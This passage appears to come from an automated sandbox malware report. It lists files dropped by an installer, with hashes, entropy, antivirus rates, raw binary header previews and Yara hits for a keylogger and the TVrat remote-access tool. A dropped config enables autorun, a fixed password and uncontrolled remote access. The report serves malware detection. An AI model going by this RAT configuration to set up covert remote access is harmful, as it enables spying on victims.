                                                                                                                                    Entropy (8bit):5.766958615909
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:ghUZvMdmP9OwMJvP2jkIgEIdwKADpiw7FCPU2lvzTNl:BhMsPG2udwLdigFyU2lvzTNl
                                                                                                                                    MD5:753B75570811052953F336261E3031BB
                                                                                                                                    SHA1:2244CCE49368180C1CF6BCA0C57DAEC71401C4F7
                                                                                                                                    SHA-256:603C5FD4E29C14DF02937DF765BF76E067A7A4706130D93F947106D0AE09A9DE
                                                                                                                                    SHA-512:6C81B813A79077E7157CF7F647A1F3C31A71098037C7003BC40B70E4AADAFCF490FDC01C71A26F8FED8C97BA33B41DF5B8A0D479DA951459CBD56421705813C5
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............K...K...K..wK...K..J...K..J...K..J...K..J...K..J...K)..J...K...Km..K)..J...K)..J...K)..K...K)..J...KRich...K................PE..L.....7a...........!.........................................................p............@..........................)...N........... ..s............ ...$...0...5......8...........................H...@............................................text............................... ..`.rdata...g.......h..................@..@.data....;.......6...`..............@....idata..=A.......B..................@..@.00cfg..............................@..@.rsrc...s.... ......................@..@.reloc..`=...0...>..................@..B................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-16M5V.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):713456
                                                                                                                                    Entropy (8bit):6.620067101616198
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:RPCS0cSUktNimb/JZqNFcbJ3bZJNlvI8CjBMUC6eVc4/SK:RPCS0c1ktNimbqYZJNlvVc4L
                                                                                                                                    MD5:96D413CAAF8C7793A96EF200F6695922
                                                                                                                                    SHA1:ABFB19A5BEA8724A08A3C709B68C65178E8EFBE5
                                                                                                                                    SHA-256:5C6E5346C4EF80E1DD211BD5519311ACA01025CE1D3811113A03E657938F370D
                                                                                                                                    SHA-512:93BF7AC89AE64948C3E91294DE89478B0F92D9CEFB71C803ABB324E181D783801C87DD6D806B0DB0D3737B3330E37993AE07B9B7D5AACCA9F9F5C3556E23EEE4
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k....%B.b....%@....%A.r...P..z...P..}...P..d...Fx.h...k...=...k...J......Y......j.....L.j...k.$.j......j...Richk...........PE..L...Q.xX...........!.........$.......P....................................... ............@.........................0....... ...(.......@........................8..0p..p............................p..@...............\............................text...9........................... ..`.rdata..............................@..@.data...(...........................@....gfids..d...........................@..@.rsrc...@...........................@..@.reloc...8.......:..................@..B................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-4DKN3.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2236144
                                                                                                                                    Entropy (8bit):5.624149670958732
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:24576:2HGHuX4EewGQcPryfFMoxJ+4PulW/ChEIgTS/zRUm:2HGOX4CGQtMs+WuVge/em
                                                                                                                                    MD5:BCCF6A5C2595EEA84533692BB788D8BB
                                                                                                                                    SHA1:24318226F145E52B7633A4E9E844D6EAD43B75AC
                                                                                                                                    SHA-256:ABF75DE674428E112F90F1C618218FF73EF851F4F09C5F5BA8B69E79A6C74DBF
                                                                                                                                    SHA-512:78F24F0812AAE31E83340ADEB1A1AE8C00EDFDF483E299706F863CB713BFDC2501B5418CE8F8BD9131E3C704BFFB58A8CA05C5E0A75EB19F15E0409C5B74E35B
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............}...}...}.K....}.K..._.}.K.....}...~..}...y..}.......}...|.W.}...x...}...x...}...}...}......}.......}.......}.Rich..}.................PE..L..."..[...........!.........x.......................................................,"...@.........................P.,.^....s-.P.....-.0.............".......-.....`.+.8...................@.+.......+.@............p-..............................textbss.T...............................text.......p...................... ..`.rdata....... '.....................@..@.data....`....-..@.... .............@....idata.......p-....... .............@..@.msvcjmc......-....... .............@....tls..........-....... .............@....00cfg........-....... .............@..@.rsrc...0.....-....... .............@..@.reloc........-....... .............@..B................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-6KVQP.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):970912
                                                                                                                                    Entropy (8bit):6.9649735952029515
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
                                                                                                                                    MD5:034CCADC1C073E4216E9466B720F9849
                                                                                                                                    SHA1:F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
                                                                                                                                    SHA-256:86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
                                                                                                                                    SHA-512:5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
                                                                                                                                    Malicious:false
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-9P1JU.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):1724088
                                                                                                                                    Entropy (8bit):6.573221633911959
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwI:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSO
                                                                                                                                    MD5:E0E559010A1CC7CB6B6F754E8833A156
                                                                                                                                    SHA1:0ADB286A1511B9D5820B042EE7D059DAEE8D0978
                                                                                                                                    SHA-256:A49D90D39BCF0FB183A8E2DFDA90E1B745565DDC25C0CC92ED7068868CB8F3E4
                                                                                                                                    SHA-512:3225A22CA8044FAFE03C005C55924B71EC2D3C9EE2325B45703EADC1F912DD867DD7FADCA0652FA2ACD46D4067575377388134E3CC58B13C0F82540224E98221
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....5k.o....5i.....5h.h.......Y...w...:...........%...l...%.......%...R....VQ.d...w................v.....e.v...w...v.......v...Richw...........PE..L..._..`...........!.....@...B...............P......................................Q.....@.........................@Z..H....Z..........(............*...$... ..........p...........................P...@............P..|............................text....>.......@.................. ..`.rdata..(....P... ...D..............@..@.data........p...2...d..............@....rodata.@...........................@..@.rsrc...(...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-CH79V.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:data
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):33
                                                                                                                                    Entropy (8bit):4.923181998146335
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:3:qfpkFjED0/n:4eIin
                                                                                                                                    MD5:461E79397D62B02EBB5B932E7D8759C6
                                                                                                                                    SHA1:D62C8F2D84A160711CF74258F2E2504955E6C219
                                                                                                                                    SHA-256:2044E4686181985E3648D0DA1AC3107B7B33CFC701EA5E7532E1B2178229416A
                                                                                                                                    SHA-512:C0ABC0FCC029F6B9D4B1A299F8461C775B52F57668313782D9B89FA5A99BF64B56D01579734F4C2CC7DBE273A8F17C9B4814F6655FCC1B7E7E109715E2A6102B
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:....:.&k..4....J'..;.1F..!...m..

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-EHIT0.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):586
                                                                                                                                    Entropy (8bit):5.203397968860563
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12:L1YWzRcSbZKsNlTQ/dw/7y/x5/D++472p+fso+9hffAaJYQMhsK/qI8qP:Z7zRcSbZKKlcMypJD5KxkiaJosBq
                                                                                                                                    MD5:5D7974984AE3D593B7887CC7BDA866DD
                                                                                                                                    SHA1:9C0B2EC2659812F1E46F2D32F82E61DF223C674C
                                                                                                                                    SHA-256:7888BDB632F1BC5EB6DAE5624FE9065868D279E50ACC569D3DDE0F6DB1C95051
                                                                                                                                    SHA-512:7BDACFBCE85726A683C3A316F578A88D5991E37C8FB1E13FC4715141F5752E7FD5D145AC36730B637E26FD3198EDE2D27E86F5CF7283A0C9B08579B1056B0B70
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:[config]..Security.FixPass=4297F44B13955235245B2497399D7A93..Main.Autorun=1..Main.CloseButtonOperation=0..Main.CheckUpdates=0..Security.UseLocalSecuritySettings=1..Security.DynPassKind=0..Security.PassLifetime=0..Security.CanWinAuth=1..Security.AccessKind=1..Security.CanWinLoginAnotherUser=1..Security.UNCONTROLLED_ACCESS=1..Security.CanWinLoginNotAdmin=1..Security.DenyRemoteSettingsControl=0..Security.DenyLockControls=0..Log.ServerStoreTechLog=0..Main.AWAYMODE_REQUIRED=1..Main.LogsLifetime=1..Main.LogsForMail2Support=1..ProxySettings.UseKind=1..ProxySettings.StoreUserAndPassw=1..

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):7543992
                                                                                                                                    Entropy (8bit):6.717610928993395
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:98304:q0f/bCIDcCkgVmZqIXrdoXj++CEKDFBaVOGizeKFUtqiAp+hRWmMLlJ7p1:X/bCIPkgVpycKDFqOLNUtqiAz
                                                                                                                                    MD5:8002D9E5851728EB024B398CF19DE390
                                                                                                                                    SHA1:9A1DC7134F3F6FCCB37DFC4DDDA35DFA2875095E
                                                                                                                                    SHA-256:B8DDE42C70D8C4A3511D5EDFFBC9F7F0C03DBDA980E29693E71344F76DA6BB0F
                                                                                                                                    SHA-512:6936B6B01F9FC2F2F69DE6AE468A9F7173239BD003AD8B7BC7336C4DD4DB50457E20EC6783B2E8A166D684A56F3F1E9FB701CA903DF3F74E3CA25C46B8A8D00E
                                                                                                                                    Malicious:true
                                                                                                                                    Yara Hits:
                                                                                                                                    • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp, Author: Joe Security
                                                                                                                                    • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp, Author: Joe Security
                                                                                                                                    • Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp, Author: Joe Security
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 12%
                                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....@a..................K..`'.......K.......K...@...........................y.......s..........@............................S..m....X..f ...........r..$... T.8d............T...............T.....................@.S..............................text... .J.......J................. ..`.itext..$.....J.......J............. ..`.data...T"....K..$....K.............@....bss..........M.......M..................idata...m....S..n....M.............@....tls....D.....T......*N..................rdata..#.....T......*N.............@..@.reloc..8d... T..f...,N.............@..B.rsrc....f ...X..f ...R.............@..@..............y.......r.............@..@................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-J00N2.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):17648
                                                                                                                                    Entropy (8bit):6.317642988990049
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:384:ZPkFNiOMTd1th9gQIim+4vBDVU376TFNiWC:iNhMpXgIr4vBBYANi1
                                                                                                                                    MD5:ACF7048E2347CFD66CD17648DBFBAF45
                                                                                                                                    SHA1:DF5A12E399176771DC8CF2F7D0CF5548E41E2BB3
                                                                                                                                    SHA-256:F1CFFBC2ADA8491755C76360AAD14314DEB576AA65F503E52FA24DEE7D33D8E7
                                                                                                                                    SHA-512:51A53CB700FBB7ABF3BDA3101ED0885572460C1686D07C3D2125C8AA6F0834E30528BEE78CC40EE9270714A16AC769D16F5A916F37F0E48BBF7121202E58E0C0
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 4%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......):5.m[[.m[[.m[[.d#..o[[.d#..c[[.d#..o[[.d#..j[[.m[Z.S[[.d#..k[[.d#..l[[.d#..l[[.Richm[[.........PE..L......K...........!.........................0...............................p............@..........................<..N...|6..P....P...............0.......`..$....................................4..@............0...............................text...;........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-JTK9U.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):172216
                                                                                                                                    Entropy (8bit):6.698242571688099
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:3072:nGhQI/PxvCWRDvcDfo0F5HekeyO54ECV0/sMHL0WPCCb5rAg0Fujx8E0/3xt9qKv:kPxqWYF5HkyDLMsOzrAOL23VqK28j
                                                                                                                                    MD5:CF1169A87FE6266C7B457A2424DA69DA
                                                                                                                                    SHA1:5ADD67DEFD4CA56C1E9C0B239899EA699B140B64
                                                                                                                                    SHA-256:24E01FD95225E260CDD41015A70374A048568D4DF6681B3D44EAABCB1EA03EAF
                                                                                                                                    SHA-512:7BF76EB5B4E31A65931AF730909FBF848334BC98DA279E291E186FCAFDC81C76D1EF0EFEC4E00B8EAEDE6F8D130DA8B6B3D3C5DD8C14C6DCD3BCDC7D050A4B66
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.%.).K.).K.).K.r.H.$.K.r.N...K.r.O.?.K...J.-.K.{.H.=.K.{.N...K.{.O...K.r.J...K.).J...K...B.!.K...K.(.K.....(.K.)..(.K...I.(.K.Rich).K.................PE..L.....@a...........!.....t...........V..............................................B.....@.........................`X..h....X..P.......(............|...$...........H..8............................H..@...............8............................text....s.......t.................. ..`.rdata...............x..............@..@.data........p.......P..............@....rsrc...(............\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-L5GBL.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 304x165, components 3
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):5684
                                                                                                                                    Entropy (8bit):7.889638794525415
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:96:ETFmuCyeQ5cM+Apb2zv31pz+7bqNqa6sh3xvhpRpZqcSPVs/GmXOVHcSrtBt2ij:u4yeQ5cFAw/n67bQqPSxvNpZqcSPVsfs
                                                                                                                                    MD5:2BFF1421FCEB76BAC872737F8ACB5250
                                                                                                                                    SHA1:8DC3186A4DA70BF6B60176B5FD2F0576F7C01527
                                                                                                                                    SHA-256:80F72C25F7608DE7EFF4953FC4B82A3F52BF1F8D6B814743B8E533570D6A4D55
                                                                                                                                    SHA-512:547AB41EB53853D9226ED8C1511A189CD0A64107A0BB14D75075E3FFE5B02C44F0E7AA36A800BF1B3BCA333957D6DB9F4D794466656CA4598DC1DD129F772FCC
                                                                                                                                    Malicious:false
                                                                                                                                    Preview:......JFIF...................................................( ..%...!1!%)+.....583,7(-.+.........../..%-----+-/+.--7+--.-+--.-------.-/+--5----7--------+........0.."........................................O.........................!12AQq."3ar......#bs....B...4RS.......$Dct..%CT...................................-......................1.!AQ..."2..Ra..q..B.............?..S...bx.)6.-....F[...........}^.M....+.j[.._Y*L.B.....d.A....r.T[[2g.~_...,.r|...r......bd..n..Q-...m..Ra.T.r....."...z..}..-DD.......gY.9...lD@...DD.A...t..NP-m....Vx&9/........M..-....&.s..uIH`.d"".P..@...D.J.[i..}.O..e&...X.7(..a.5-.f_.._Y...o.e....}j.2......=....\..........YO...(.z.Cr.Y.DnW...$..w..Z.}&..n.........D..".d...a4....h.4.Q)(..R....b=.......!....,.B.....k..E7.+.n8_:.\..!.[....9..^.8...:$<....S....5g-.o..lH.......p....7.).....J.!.....*..@...".....=-[........*%.c.5..7.n4...-..5....$p%...H..."4.......P.D@k-.Z/...*:.ir.}.O.Q.9.*..b.........i...?.W.../..|6mdc.S...-O..Y8....Xe..(:#r.c

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-L5V14.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):370488
                                                                                                                                    Entropy (8bit):6.86993159214619
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:6144:wJ9LiOhPhz85popbbFb06wAQAwq961b/v9MkvCq2/JO+UxK6DvX0C7Uxm//f0Ps7:IBi8q5po9JkyICq2/z6DvsyEE5+PgAEX
                                                                                                                                    MD5:82E49683F540F78B2D1759CDE594482F
                                                                                                                                    SHA1:352DCBDBBB3C5C927B83389E2AB7F40B66EE716A
                                                                                                                                    SHA-256:55D99ECD7F821A4B2FE7E5A0B2CEA213DC79004C1DC413BD003F032C61080576
                                                                                                                                    SHA-512:F50A3BCD5905103EEC344D7DAF1C17896DF9039D3E8D5E9BBD771F1E235EC6045D626ED838C9BF3A8F7A66AA5F41F0743EA7D9BDEF7492DA8B36561089E126BF
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k-...~...~...~.......~....l..~.......~.......~.......~.......~.......~...~...~]...k..~]......~]..~...~]......~Rich...~........PE..L....g._.........."!.................U....... ...................................... .....@..........................^......\h..(.......................8.......l....W...............................W..@............ ...............................text............................... ..`.rdata..6N... ...P..................@..@.data...8....p.......^..............@....rsrc................h..............@..@.reloc..l............j..............@..B........................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-QB9RB.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):546816
                                                                                                                                    Entropy (8bit):6.657309146326691
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:12288:DEnhioDz6zv6pmEmE5A8K8ZOO2rKQrbdCPAEI:Dmbz+vomEBHbZO2YCBI
                                                                                                                                    MD5:13CD45DF8AAA584EBD2A40EDE76F1E06
                                                                                                                                    SHA1:BAA19E6A965621CB315E5F866EDC179EF1D6B863
                                                                                                                                    SHA-256:3FF4E80E327F298A11E116A517BE0963A0B3CD376A6A624CAFFACD586E6B1449
                                                                                                                                    SHA-512:285D7265AC05CECDD43650E5DEF9198B5F2F4D63665739BAA059598E41F4CE892248D3CA7E793AC274DC05B4C19CFA11C17FAEA62FC1E3495C94A03851049328
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z%...K..K..K..sH..K..sN...K..sO..K.4....K..sN..K..sO..K..sH..K..sJ..K..J.k.K..rO.>.K..rK..K..r...K.....K..rI..K.Rich..K.................PE..L......_...........!......................................................................@.............................0...0...x....@.......................P...H......................................@............................................text...D........................... ..`.rdata..ZQ.......R..................@..@.data...x+..........................@....rsrc........@......................@..@.reloc...H...P...J..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-T74LT.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2533560
                                                                                                                                    Entropy (8bit):6.236092740507617
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:y+PXMbxU8+hh5Mitv70n8yT1CPwDv3uFfJEkyD9:y+PwEMit0n8A1CPwDv3uFfJC
                                                                                                                                    MD5:59A3B581020759D52538425A1F5A53D5
                                                                                                                                    SHA1:4E7C528EFEF2C42119C80EFE0AA994B7AA6D2AB6
                                                                                                                                    SHA-256:4C94F00150231420A0526E9949AC9F339EB04B16BC18CB8A11C7FD98DB1235D6
                                                                                                                                    SHA-512:9D30D8167E787FD4A82444BAAA3703920EC41CBE9C684010B63564DE04E00D590C8081006C68627B8297D2715194D4B80C23B959E554D42B2770664D1ED1B79E
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[J...+...+...+...S#..+..MC...+..MC...+..MC...+..MC...+..DC...+...+...+...+...+...B..j)...B...+...BO..+...B...+..Rich.+..........PE..L.....7a...........!.....T...p......;H.......p................................'.......&...@...........................#..h....%.T.....&.|.............&..$....&.L...0.".8...........................h.".@.............%..............................text...>S.......T.................. ..`.rdata.......p.......X..............@..@.data....Y...p%......X%.............@....idata..J.....%......n%.............@..@.00cfg........%.......%.............@..@.rsrc...|.....&.......%.............@..@.reloc........&.......%.............@..B........................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-TI6M0.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):1074302464
                                                                                                                                    Entropy (8bit):0.007606963999012058
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:
                                                                                                                                    MD5:1EFF7FFD7E1333DFED1D89733F07A5D9
                                                                                                                                    SHA1:C4871CFAD84A4FB333FB70E2CC32412515C95AE8
                                                                                                                                    SHA-256:732D018A50B76E8FC8B733C18EF93407C77DE781B150841538FEBB0C696C7E6A
                                                                                                                                    SHA-512:36ECF0EB0F991E25F511A88F9E31075E99F1505C09DEBCC43E92759F68BE0BB93E9BD6D086A95CBDAD1D1657AFF4FEA13021EA8050000B9DADC331A4340E6E64
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L.....#c...........!...I.p................................................................@.....................................................................V....................................................................................code...7o.......p.................. ..`.data...9............t..............@....rdata..............................@..@.edata..............................@..@.reloc..V...........................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-U37IG.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):3220541
                                                                                                                                    Entropy (8bit):6.304877461731294
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:ydx4HDQNJL0VR6SgMt+k4RiP+RmXMjiINiMq95FoHVHNTQTEjT333TY+:DHDYsqiPRhINnq95FoHVBT333Tf
                                                                                                                                    MD5:F4CFC33B1188222A72874AD782AC94D2
                                                                                                                                    SHA1:E08AFF4D99C2BF3845197412822584CC1F815BF2
                                                                                                                                    SHA-256:89C3FE10C1E29E15CEBD479A7D458727152E623BD9C4EF3B53302B5BA12B2F5E
                                                                                                                                    SHA-512:0514FF3765F854E90A1AB6C30B76D2A85A542233F828BDAF04430EB041939976DFAB72B0CF1B183F03D7456CEAD422865AFEB089EDBEE40E8589927268E9837E
                                                                                                                                    Malicious:true
                                                                                                                                    Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...oGXb.................B,.........`V,......`,...@...........................1...........@......@....................-.......-..9............................................................-.......................-.......-......................text.....,.......,................. ..`.itext...(...0,..*....,............. ..`.data........`,......F,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-...... -.............@..@.rsrc................"-.............@..@..............1.......0.............@..@........................................................

                                                                                                                                    C:\Users\user\AppData\Local\Temp\u3w5\is-U4T29.tmp

                                                                                                                                    Download File
                                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                    Category:dropped
                                                                                                                                    Size (bytes):2098416
                                                                                                                                    Entropy (8bit):6.277915381502377
                                                                                                                                    Encrypted:false
                                                                                                                                    SSDEEP:49152:Vkv4EyvQ/qpyr0kAYdQqqW6qvHewDe01CPwDv3uFR0b5YrpsJ:VkvXyvQ/qpyr0kAd66oewv1CPwDv3uFI
                                                                                                                                    MD5:1AFC9BD5E625E85B696141F62FBA4325
                                                                                                                                    SHA1:56FB325125F436D7408808446D58AF50F8AA3BFC
                                                                                                                                    SHA-256:83A1E3CBE242B978B9F55273B7B2648D0492B741FF561C0EC1C6AD9A4AEDAB47
                                                                                                                                    SHA-512:02C2CF9DBC319C2AAF324175CFD3E435824439F33B4CA697324F1B8FF4331D7BDE80DE46909FC629193EF02DEB40853E295B35DC2E3B094D116B5DD783919213
                                                                                                                                    Malicious:true
                                                                                                                                    Antivirus:
                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
